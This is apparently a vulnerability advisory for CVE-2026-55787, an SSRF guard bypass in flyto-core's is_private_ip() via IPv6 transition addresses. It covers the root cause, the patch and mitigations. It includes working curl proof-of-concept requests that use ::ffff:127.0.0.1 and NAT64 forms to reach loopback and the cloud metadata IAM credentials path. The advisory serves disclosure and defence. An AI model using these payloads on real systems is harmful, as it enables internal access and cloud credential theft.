CVE-2026-55787: flyto-core SSRF Guard Bypass via IPv6 Transition Addresses
flyto-core's SSRF protection can be bypassed using IPv6 transition address forms like ::ffff:127.0.0.1 or 64:ff9b::a9fe:a9fe, letting a workflow author drive authenticated HTTP fetches to internal…
The problem
The is_private_ip() function in src/core/utils.py checks resolved IP addresses against a hardcoded PRIVATE_IP_RANGES list. That list covers only native RFC 1918, loopback, link-local, and unique-local ranges. It does not cover IPv6 transition forms that embed a private IPv4 address: IPv4-mapped (::ffff:0:0/96), IPv4-compatible (::/96), 6to4 (2002::/16), or NAT64 well-known prefix (64:ff9b::/96, 64:ff9b:1::/48).
Any workflow author who can reach POST /v1/execute can supply a transition-form URL like http://[::ffff:127.0.0.1]:8080/.... The guard returns False for these addresses, the aiohttp fetch proceeds, and the full response body is returned to the caller. This is a read SSRF.
The same guard is shared by roughly ten atomic modules including http.request, browser.goto, image.download, and llm.chat.
Proof of concept
A working proof-of-concept for CVE-2026-55787 in flyto-core, with the exact payload below.
# The raw loopback literal is correctly blocked:
curl -s -X POST http://127.0.0.1:8333/v1/execute \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"module_id":"http.get","params":{"url":"http://127.0.0.1:8080/"}}'
# Response: {"ok":false,"error":"...Hostname blocked: 127.0.0.1..."}
# IPv4-mapped literal bypasses the guard and returns the internal response body:
curl -s -X POST http://127.0.0.1:8333/v1/execute \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}'
# Response: {"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f..."}}
# NAT64 WKP encoding of 169.254.169.254 also bypasses the guard
# (proceeds to network layer instead of raising SSRFError):
curl -s -X POST http://127.0.0.1:8333/v1/execute \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"module_id":"http.get","params":{"url":"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"}}'The root cause is that is_private_ip() performs a plain network-membership test against PRIVATE_IP_RANGES without first unwrapping any embedded IPv4 from the IPv6 address. Python's ipaddress module exposes ipv4_mapped, sixtofour, and the raw integer value for NAT64 detection, but none of those are consulted.
Even ::ffff:127.0.0.1, which Python itself classifies as is_private == True, passes the guard unchanged because the membership test compares the outer IPv6 address against IPv4 CIDR blocks whose version numbers never match.
The fix added a _extract_embedded_ipv4() helper that unwraps the embedded IPv4 from all four transition families (IPv4-mapped, IPv4-compatible, 6to4, NAT64 WKP and local-use). is_private_ip() now builds a candidate list of the outer address plus any extracted IPv4, and blocks if either candidate falls in a private range.
Public destinations expressed in transition form, such as ::ffff:8.8.8.8, remain allowed because the embedded IPv4 is itself public.
The fix
Upgrade to flyto-core 2.26.3. The patch extends is_private_ip() in src/core/utils.py to unwrap IPv4-mapped, IPv4-compatible, 6to4, and NAT64 transition addresses and range-check the embedded IPv4 alongside the outer IPv6 address. If immediate upgrade is not possible, set the FLYTO_VSCODE_LOCAL_MODE flag to false and restrict which users can submit workflow execution requests to POST /v1/execute via network-layer controls.
Reported by tonghuaroot.
Related research
- high · 8.4CVE-2026-55786CVE-2026-55786: flyto-core Unauthenticated OS Command Injection via HTTP MCP
- high · 8.3CVE-2026-54549CVE-2026-54549: meta-ads-mcp Server-Side Request Forgery in upload_ad_image
- high · 7.7CVE-2026-54457CVE-2026-54457: TensorZero Gateway Arbitrary File Read and SSRF
- CRITICAL · 9.9CVE-2026-55166CVE-2026-55166: Lemur ACME SSRF + Creator IDOR leads to AWS IAM and PKI key compromise